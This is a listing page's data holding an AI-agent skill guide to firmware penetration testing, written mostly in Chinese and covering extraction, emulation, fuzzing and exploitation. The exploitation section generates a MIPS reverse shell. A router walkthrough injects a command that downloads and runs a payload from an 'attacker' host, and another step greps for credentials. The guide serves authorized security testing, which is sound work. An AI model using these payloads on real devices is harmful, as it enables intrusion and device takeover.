[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6P35ZMY904H84XNF7RNYQDH":3,"skill-same:01M6P35ZMY904H84XNF7RNYQDH":86},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":22,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":32,"commitSha":53,"skillDirectory":54,"forksCount":13,"repositoryHtmlUrl":55,"repositoryHomepageUrl":6,"ownerHtmlUrl":56,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":57,"install":58,"resources":71},"01M6P35ZMY904H84XNF7RNYQDH","firmware-pentest",null,"Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne\u002FQEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.","duc-duy-1612\u002FOnline-Delivery-Systems-Web","duc-duy-1612","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F192231384?v=4","01M6NSDKQQDKVTHZ8DZMZ1VYY6","01M6NSDKW8DDVTQHBT1HBDDJPT",0,"MIT","https:\u002F\u002Fgithub.com\u002Fduc-duy-1612\u002FOnline-Delivery-Systems-Web\u002Fblob\u002Fmain\u002F.agents\u002Fskills_archive\u002Ffirmware-pentest\u002FSKILL.md",[17],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"firmware pentest","firmware","pentest","afl","emulation","reverse","hands-on","penetration","stage","main","community","testing","exploitation","flow","penetration testing","https","license","automation","fuzzing","github","2026-11-10 10:12:30",false,"---\nname: firmware-pentest\ndescription: \"Firmware penetration testing following the OWASP FSTM nine-stage flow: extraction, EMBA automation, Firmadyne\u002FQEMU emulation, AFL++ fuzzing, and hands-on exploitation in authorized labs.\"\nrisk: offensive\nsource: \"https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill\"\nsource_repo: \"zhaoxuya520\u002Freverse-skill\"\nsource_type: community\ndate_added: \"2026-08-25\"\nlicense: \"MIT\"\nlicense_source: \"https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill\u002Fblob\u002Fmain\u002FLICENSE\"\n---\n> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n## When to Use\n\n- Assessing device firmware within an authorized engagement.\n- Building an emulated environment for repeatable firmware analysis.\n\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **法律边界**：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权\n- **field-journal 回写**：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用\n\n---\n\n## 按需自举（On-Demand Bootstrap）\n\n### 工具清单\n\n| 工具 | 用途 | 自动安装 |\n|------|------|---------|\n| binwalk v3 | 主提取（Rust 重写版） | ✓ |\n| binwalk v2 | 兼容老插件 | ✓ |\n| unblob | 兜底提取 | ✓ |\n| jefferson | JFFS2 提取 | ✓ |\n| ubi_reader | UBI \u002F UBIFS 提取 | ✓ |\n| EMBA | 自动化分析框架 | ✓ |\n| Firmadyne | 全系统仿真 | ✓ |\n| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |\n| qemu-user-static | 用户态仿真 | ✓ |\n| qemu-system-* | 全系统仿真 | ✓ |\n| AFL++ | 模糊测试 | ✓ |\n| pwntools | 漏洞利用脚本 | ✓ |\n| flashrom | SPI flash 读写 | ✓ |\n| picocom | UART 串口 | ✓ |\n\n### 安装命令\n\n```bash\n# Debian \u002F Ubuntu 一把梭\nsudo apt update && sudo apt install -y \\\n  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \\\n  gdb-multiarch picocom flashrom build-essential libssl-dev\n\n# binwalk v3（Rust 版）\ncargo install binwalk\n\n# Python 系列工具\npip3 install --user unblob jefferson ubi_reader pwntools\n\n# EMBA\ngit clone https:\u002F\u002Fgithub.com\u002Fe-m-b-a\u002Femba.git ~\u002Ftools\u002Femba\ncd ~\u002Ftools\u002Femba && sudo .\u002Finstaller.sh -d\n\n# Firmadyne\ngit clone --recursive https:\u002F\u002Fgithub.com\u002Ffirmadyne\u002Ffirmadyne.git ~\u002Ftools\u002Ffirmadyne\ncd ~\u002Ftools\u002Ffirmadyne && sudo .\u002Fdownload.sh\n\n# FAT\ngit clone https:\u002F\u002Fgithub.com\u002Fattify\u002Ffirmware-analysis-toolkit.git ~\u002Ftools\u002Ffat\n\n# AFL++\ngit clone https:\u002F\u002Fgithub.com\u002FAFLplusplus\u002FAFLplusplus ~\u002Ftools\u002Faflpp\ncd ~\u002Ftools\u002Faflpp && make distrib && sudo make install\n```\n\n### Windows 用户\n\n固件渗透链强依赖 Linux 工具，建议：\n- WSL2 Ubuntu 22.04（足够大多数场景）\n- 或独立 Kali \u002F Ubuntu 虚拟机\n- EMBA 必须 Linux，Firmadyne \u002F FAT 必须 Linux\n\n---\n\n## 路由上下文\n\n**上游入口**: `skills\u002FSKILL.md`（总控）、`routing.md`\n**触发条件**: 任务涉及固件文件、IoT 设备、嵌入式漏洞挖掘、路由器审计\n**下游出口**:\n- 单个二进制深度静态分析 → `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F`\n- 仿真起来后做 Web RCE \u002F 后渗透 → `pentest-tools\u002F`、`attack-chain\u002F`\n- 跨版本固件符号迁移 → `binary-diff\u002F`\n- 硬件接口实操参考 → `patterns-hardware.md`\n- APK \u002F boot.img 处理 → `apk-reverse\u002F`\n\n**同级关联**: `pentest-tools\u002F`（Web 利用阶段配合）、`attack-chain\u002F`（跨阶段攻击链规划）\n\n**参考文档**:\n- `references\u002Fextraction-methodology.md` — 提取细节与失败兜底\n- `references\u002Femba-automated-analysis.md` — EMBA 全流程\n- `references\u002Femulation-and-fuzz.md` — 仿真 + fuzz 实战\n\n\n## 任务完成自检（声称完成前 MUST 通过）\n\n- [ ] 我是否执行了工作流中的每一步（而不是只阅读）？\n- [ ] 我是否基于 `tool-index` 使用了真实工具路径？\n- [ ] 我是否产出了可复现证据（命令\u002F脚本\u002F截图\u002F报告）？\n- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项？\n\n## Limitations\n\n- Emulation of proprietary kernels often fails; hardware debugging may be required.\n- Some extraction paths need physical access (UART\u002FJTAG\u002FSPI).\n\n> Adapted from [zhaoxuya520\u002Freverse-skill](https:\u002F\u002Fgithub.com\u002Fzhaoxuya520\u002Freverse-skill) (MIT).\n","> **⚠️ AUTHORIZED USE ONLY**\n> This skill is for educational purposes or authorized security assessments only.\n> You must have explicit, written permission from the system owner before using this tool.\n> Misuse of this tool is illegal and strictly prohibited.\n\n> **Mandatory confirmation gate**\n> Before running any command that probes, exploits, changes, persists on, extracts data from, or attempts credential access against a target:\n> 1. Ask the user to state the exact target URL, IP, account, or resource.\n> 2. Ask the user to confirm written authorization and the permitted scope.\n> 3. Show the exact command(s) and explain their expected effect.\n> 4. Wait for explicit confirmation in the current conversation.\n>\n> Without that confirmation, remain read-only and provide defensive guidance only. Prefer a sandbox, disposable VM, or controlled lab.\n\n# 固件 \u002F IoT 渗透链 (Firmware Pentest)\n## When to Use\n\n- Assessing device firmware within an authorized engagement.\n- Building an emulated environment for repeatable firmware analysis.\n\n\n## 适用范围\n\n下列任务进入本 skill：\n\n1. **拿到一份固件文件**（.bin \u002F .img \u002F .trx \u002F .chk \u002F OTA zip），需要从零到 RCE\n2. **路由器\u002F摄像头\u002FIoT 设备审计** — 需要批量发现已知 CVE 和未公开漏洞\n3. **加密\u002F打包固件**，需要找 bootloader 解密例程或硬件 dump\n4. **需要在不接触硬件的情况下跑起来**（QEMU 全系统仿真 \u002F Firmadyne \u002F FAT）\n5. **对仿真起来的服务做 fuzz**（AFL++ qemu mode \u002F boofuzz）\n6. **硬件接口接入**（UART \u002F JTAG \u002F SPI flash dump）\n\n### 与其他 skill 分工\n\n| 场景 | 用什么 |\n|------|--------|\n| 从零拿到固件，全链路走 FSTM | **本 skill** |\n| 只做单个 ELF\u002Fso 静态逆向 | `reverse-engineering\u002F`、`ida-reverse\u002F`、`radare2\u002F` |\n| 仿真起来后做 Web\u002FRCE 利用 | `pentest-tools\u002F`、`attack-chain\u002F` |\n| 硬件接口（UART\u002FJTAG\u002FSPI）实操 | 本 skill 的 Stage 2 章节 + `patterns-hardware.md` |\n| APK \u002F Android 固件（含 boot.img） | `apk-reverse\u002F`（先剥 boot.img 再用本 skill） |\n| 跨版本固件符号迁移 | `binary-diff\u002F` |\n\n## 核心原理\n\n```text\n固件 .bin\n   │\n   ├─ Stage 1-3: 信息收集 \u002F 获取 \u002F 静态分析（不解压也能看的部分）\n   │\n   ├─ Stage 4: 提取文件系统  ← binwalk v3 \u002F unblob \u002F jefferson \u002F ubi_reader\n   │     │\n   │     └─ 失败 → 找 bootloader 解密例程 \u002F UART dump \u002F SPI flash 硬件读\n   │\n   ├─ Stage 5: 文件系统静态分析  ← EMBA 自动化 + 手工 grep\n   │\n   ├─ Stage 6: 模拟运行  ← Firmadyne \u002F FAT \u002F qemu-user-static + chroot\n   │\n   ├─ Stage 7-8: 动态 \u002F 运行时分析  ← gdb-multiarch、IDA 远程调试、Ghidra\n   │\n   └─ Stage 9: 二进制利用  ← AFL++ fuzz \u002F 手工 PoC \u002F ARM \u002F MIPS payload\n```\n\n关键判断：\n- 提取失败不等于固件加密，先把 binwalk v2、binwalk v3、unblob、jefferson、ubi_reader 全跑一遍\n- EMBA 一行命令出 HTML 报告，能省 80% 体力，剩 20% 是真正的漏洞挖掘\n- 仿真起不来时优先怀疑 NVRAM 缺失、网卡名错配、`\u002Fdev\u002F` 节点缺失\n- ARM \u002F MIPS payload 必须区分大小端（mipsel vs mipseb），别用错\n\n## OWASP FSTM 九阶段工作流\n\n### Stage 1 — 信息收集（Information Gathering）\n\n收集型号、芯片、SDK、已公开 CVE。\n\n```bash\n# FCC ID 查询（美区设备）\ncurl -s \"https:\u002F\u002Ffccid.io\u002F?q=$FCC_ID\"\n\n# 芯片识别参考点\necho \"Realtek RTL8197 \u002F Broadcom BCM \u002F MediaTek MT76 \u002F Qualcomm IPQ\"\n```\n\n输出：芯片型号、SDK 来源（SDK 决定 binwalk 能否一把成功）。\n\n### Stage 2 — 获取固件（Obtaining Firmware）\n\n四条路：官网下载、OTA 抓包、UART 落 shell 后 dump、SPI flash 物理读。\n\n```bash\n# OTA 抓包后批量下载\nmitmdump -s save_response.py\n\n# UART 接入（USB-TTL，常用波特率 57600 \u002F 115200）\npicocom -b 115200 \u002Fdev\u002FttyUSB0\n\n# SPI flash 用 CH341A + flashrom 读\nflashrom -p ch341a_spi -r dump.bin\n```\n\n### Stage 3 — 分析固件（Analyzing Firmware）\n\n不解压先看头部、熵、字符串、可识别签名。\n\n```bash\nbinwalk firmware.bin              # magic 扫描\nbinwalk -E firmware.bin           # 熵图，高熵段=压缩\u002F加密\nstrings -n 8 firmware.bin | less  # banner \u002F 内核版本 \u002F 路径\nfile firmware.bin\nhexdump -C firmware.bin | head -64\n```\n\n### Stage 4 — 提取文件系统（Extracting Filesystem）\n\n详见 `references\u002Fextraction-methodology.md`。\n\n```bash\nbinwalk -eM firmware.bin           # 递归提取\nunblob -d out\u002F firmware.bin        # 处理 binwalk 失败的格式\njefferson rootfs.jffs2 -d rootfs\u002F  # JFFS2\nubireader_extract_files rootfs.ubi # UBI\n```\n\n### Stage 5 — 静态分析文件系统（Filesystem Analysis）\n\nEMBA 一键扫，详见 `references\u002Femba-automated-analysis.md`。\n\n```bash\nsudo emba -l .\u002Flogs -f .\u002Ffirmware.bin -p .\u002Fscan-profiles\u002Fdefault-scan.emba\n```\n\n手工补：\n\n```bash\ngrep -rE \"(password|passwd|admin|secret|api_key|token)=\" squashfs-root\u002F\nfind squashfs-root\u002F -name \"*.conf\" -o -name \"*.ini\" -o -name \"shadow\"\nchecksec --file=squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n```\n\n### Stage 6 — 模拟运行（Emulating Firmware）\n\n详见 `references\u002Femulation-and-fuzz.md`。\n\n```bash\n# 用户态：跑单个 binary\nqemu-mipsel-static -L squashfs-root\u002F squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd\n\n# 全系统：FAT（Firmadyne 封装版）\nsudo fat.py firmware.bin\n```\n\n### Stage 7 — 动态分析（Dynamic Analysis）\n\n仿真起来后挂调试器、抓流量、跑 fuzz。\n\n```bash\n# gdb 远程调试 MIPS\nqemu-mipsel-static -g 1234 .\u002Fvuln_binary\ngdb-multiarch .\u002Fvuln_binary -ex \"target remote :1234\"\n\n# Burp + 路由 Web UI\necho \"把 Firmadyne 仿真出来的 IP 设为 Burp upstream proxy 目标\"\n```\n\n### Stage 8 — 运行时分析（Runtime Analysis）\n\n在真实硬件上挂调试器，或者仿真态做覆盖率制导 fuzz。\n\n```bash\n# AFL++ qemu mode 对 ARM \u002F MIPS binary fuzz\nAFL_PRELOAD=.\u002Flibdesock.so afl-fuzz -Q -i in\u002F -o out\u002F -- .\u002Fhttpd @@\n```\n\n### Stage 9 — 二进制利用（Exploitation）\n\n写 PoC，生成 payload，落地 root shell。\n\n```bash\n# pwntools 生成 MIPS reverse shell\npython3 -c \"\nfrom pwn import *\ncontext.arch = 'mips'\ncontext.endian = 'little'\nprint(shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh())\n\" | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin\n\n# ROP gadget\nropper --file squashfs-root\u002Fusr\u002Fsbin\u002Fhttpd --search \"system\"\n```\n\n## 典型场景示例\n\n### 场景 1：普通路由器固件全链路（TP-Link \u002F 小米路由器 \u002F OpenWrt 衍生）\n\n```text\n固件: router_v1.2.3.bin（未加密 squashfs）\n目标: 找 Web 管理界面未授权 RCE 并复现\n\nStep 1 信息收集\n  - FCC ID 反查 → MT7621 + MT7615 + 16MB flash\n  - 已公开 CVE：CVE-2023-xxxxx（chk 头校验缺陷）\n\nStep 2 获取固件\n  - 官网下载 .bin，sha256 与已知样本对比\n\nStep 3 分析\n  - binwalk → 检出 uImage + squashfs-xz\n  - 熵图 → squashfs 段熵 ~0.95（正常压缩）\n\nStep 4 提取\n  - binwalk -eM router_v1.2.3.bin\n  - 得到 squashfs-root\u002F 完整根文件系统\n\nStep 5 EMBA 扫\n  - 报告里高危：lighttpd 1.4.45（CVE-2018-19052）+ busybox 1.27.2 多 CVE\n  - 自家二进制：\u002Fusr\u002Fsbin\u002Fcgibin 含 system() 直拼字符串\n\nStep 6 仿真\n  - sudo fat.py router_v1.2.3.bin\n  - 仿真起来 IP 192.168.0.1，Web 可访问\n\nStep 7-8 动态\n  - Burp 抓 \u002Fcgi-bin\u002Fluci 系列接口\n  - 发现 hostname 参数直拼 system\n\nStep 9 利用\n  - 构造 hostname=`;wget http:\u002F\u002Fattacker\u002Fx;sh x;`\n  - 仿真态成功反弹 shell\n  - 真机复测通过 → 提报 SRC\n```\n\n### 场景 2：加密固件（找 bootloader 解密例程）\n\n```text\n固件: encrypted_fw.bin（binwalk 全空白 + 熵 ~0.99）\n\nStep 1 判断是否真加密\n  - 熵全段 ~0.99 且无任何 magic → 大概率加密或纯压缩\n  - 头部前 256 字节 hexdump → 看是否有 vendor header\n\nStep 2 拿到 bootloader\n  - UART 启动时按键进 U-Boot\n  - md.b 0x80000000 0x1000   # 读内存\n  - 或 SPI flash 物理读取整片 → 含 U-Boot 段\n\nStep 3 逆 U-Boot 找解密例程\n  - 用 reverse-engineering skill（IDA \u002F Ghidra）\n  - 入口 board_init_r → 找 do_bootm 前的 image_decrypt\n  - 通常是 AES-128-CBC，key 硬编在 .rodata\n\nStep 4 离线解密\n  openssl enc -d -aes-128-cbc \\\n    -K $(cat key.hex) \\\n    -iv  $(cat iv.hex) \\\n    -in encrypted_fw.bin \\\n    -out decrypted.bin\n\nStep 5 回到 Stage 4 重新走标准流程\n  - binwalk decrypted.bin → 看到 squashfs\n  - 后续与场景 1 相同\n\n兜底\n  - bootloader 也加密 → 找 SoC 一级 ROM 文档\n  - SoC 有安全启动 → 看公开 fault injection \u002F glitch 资料\n```\n\n## 注意事项\n\n- **大小端**：MIPS 路由器常见 mipsel（小端，MT 系列）\u002F mipseb（大端，Broadcom 系列），qemu binary 别用错\n- **NVRAM**：仿真起来 httpd 立即崩 → 90% 是 nvram_get 拿不到值，Firmadyne 有 libnvram hook，FAT 默认带\n- **EMBA 不是银弹**：跑出来一堆 CVE 别全信，要核对版本字符串和实际利用条件\n- **AFL++ qemu mode 慢**：先用 afl-clang-lto 重编译目标（如果有源码），快 5-10 倍\n- **真机操作前先 dump**：物理设备砖前必备整片 flash dump，用 flashrom \u002F ch341a \u002F minipro\n- **法律边界**：自家设备、SRC 授权、CTF、公开靶机才能搞，企业生产设备需要书面授权\n- **field-journal 回写**：每完成一个固件，记录芯片型号、SDK、binwalk 是否成功、仿真是否成功，下次同系列直接复用\n\n---\n\n## 按需自举（On-Demand Bootstrap）\n\n### 工具清单\n\n| 工具 | 用途 | 自动安装 |\n|------|------|---------|\n| binwalk v3 | 主提取（Rust 重写版） | ✓ |\n| binwalk v2 | 兼容老插件 | ✓ |\n| unblob | 兜底提取 | ✓ |\n| jefferson | JFFS2 提取 | ✓ |\n| ubi_reader | UBI \u002F UBIFS 提取 | ✓ |\n| EMBA | 自动化分析框架 | ✓ |\n| Firmadyne | 全系统仿真 | ✓ |\n| FAT (Firmware Analysis Toolkit) | Firmadyne 封装 | ✓ |\n| qemu-user-static | 用户态仿真 | ✓ |\n| qemu-system-* | 全系统仿真 | ✓ |\n| AFL++ | 模糊测试 | ✓ |\n| pwntools | 漏洞利用脚本 | ✓ |\n| flashrom | SPI flash 读写 | ✓ |\n| picocom | UART 串口 | ✓ |\n\n### 安装命令\n\n```bash\n# Debian \u002F Ubuntu 一把梭\nsudo apt update && sudo apt install -y \\\n  binwalk python3-pip qemu-user-static qemu-system-mips qemu-system-arm \\\n  gdb-multiarch picocom flashrom build-essential libssl-dev\n\n# binwalk v3（Rust 版）\ncargo install binwalk\n\n# Python 系列工具\npip3 install --user unblob jefferson ubi_reader pwntools\n\n# EMBA\ngit clone https:\u002F\u002Fgithub.com\u002Fe-m-b-a\u002Femba.git ~\u002Ftools\u002Femba\ncd ~\u002Ftools\u002Femba && sudo .\u002Finstaller.sh -d\n\n# Firmadyne\ngit clone --recursive https:\u002F\u002Fgithub.com\u002Ffirmadyne\u002Ffirmadyne.git ~\u002Ftools\u002Ffirmadyne\ncd ~\u002Ftools\u002Ffirmadyne && sudo .\u002Fdownload.sh\n\n# FAT\ngit clone https:\u002F\u002Fgithub.com\u002Fattify\u002Ffirmware-analysis-toolkit.git ~\u002Ftools\u002Ffat\n\n# AFL++\ngit clone https:\u002F\u002Fgithub.com\u002FAFLplusplus\u002FAFLplusplus ~\u002Ftools\u002Faflpp\ncd ~\u002Ftools\u002Faflpp && make distrib && sudo make install\n```\n\n### Windows 用户\n\n固件渗透链强依赖 Linux 工具，建议：\n- WSL2 Ubuntu 22.04（足够大多数场景）\n- 或独立 Kali \u002F Ubuntu 虚拟机\n- EMBA 必须 Linux，Firmadyne \u002F FAT 必须 Linux\n\n---\n\n## 路由上下文\n\n**上游入口**: `skills\u002FSKILL.md`（总控）、`routing.md`\n**触发条件**: 任务涉及固件文件、IoT 